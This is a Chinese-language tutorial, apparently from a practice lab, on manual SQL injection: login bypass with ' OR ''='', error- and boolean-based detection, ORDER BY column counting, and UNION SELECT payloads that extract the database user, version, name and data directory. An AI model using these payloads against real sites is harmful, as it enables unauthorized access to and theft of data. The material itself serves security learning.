目录
1.概述
2.登录判断
3.检测方法
3.1 基于报错的检测方法
3.2 基于布尔的检测
3.3 表列数/显示信息位于哪一列
3.4 ASCII转字符
3.5 连接字符串
3.6 md5值计算
3.7 执行结果切分
1、概述
- 服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器;
- 不仅可以获得针对数据库,还能通过sql获得系统权限、文件操作等
2、登录判断
SELECT * FROM users WHERE user=‘name' AND password=‘pass‘
SELECT * FROM users WHERE user=‘name' AND password='' OR ''=''
3、检测方法
3.1、基于报错的检测方法
一般来说,数据库都是使用单引号/双引号等进行闭合,如果直接输入一个单引号/双引号/百分号%,数据库因为多出的输入字符导致无法闭合而报错
' '' % ()
3.2 基于布尔的检测
基于上述判断,再进一步确认服务端是否执行
1’ and ‘1’=‘1 或1' and '1
1’ and ‘1’=‘2 或1' and '0
3.3 表列数/显示信息位于哪一列
通过下面的语句猜测一个表中包含几个字段,数字变换尝试
'order by 9-- //--表示后面的为注释(--后有1个空格),变为'' order by 9-- ',效果为'' order by 9
对于order by 数字的用户说明如下:
示例1:
SELECT last_name, salary , hire_date
FROM EMPLOYEES
ORDER BY salary DESC;
示例2:
SELECT last_name, salary , hire_date
FROM EMPLOYEES
ORDER BY 2 DESC;
以上两个示例结果相同。
因为ORDER BY salary DESC==ORDER BY 2 DESC
salary是第二个元素,所以可以使用2来代替。
但是数字不可以使用0,也不可以超出查询的列。
例如:select * from employers
order by x;
如果employers表有九个字段,那个X的范围就是1---9
不能是0,也不能是10.
在输入时,如果使用select语句,使用union或union all进行联合查询
' union select 1,2 -- // 查询哪个字段名(注意--后面有空格)
' union select user(),version()-- //查询用户名和版本
' union select user(),database()-- //查询用户名和数据库名称
' union select user(),@@datadir--
全局函数还包括@@hostname、@@version、@@version_compile_os
通过使用Firefox安装的hackbar,执行sql命令:
3.4、ASCII转字符
?id='+union+select+user(),char(70)--+
&Submit=Submit#
3.5、连接字符串
?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),version()),null--+
&Submit=Submit# //第1个字段同时查询多个数据,第2个字段为空
3.6、md5值计算
?id='+union+select+CONCAT_WS(CHAR(32,58,32),user(),database(),md5('abc')),null--+
&Submit=Submit#
3.7、执行结果切分
将查询的结果切分,返回想要的结果
?id='+union+select+database(),substring_index(USER(),"@",1)--+
&Submit=Submit# //查询user(),并以@为分隔符,取第一个字段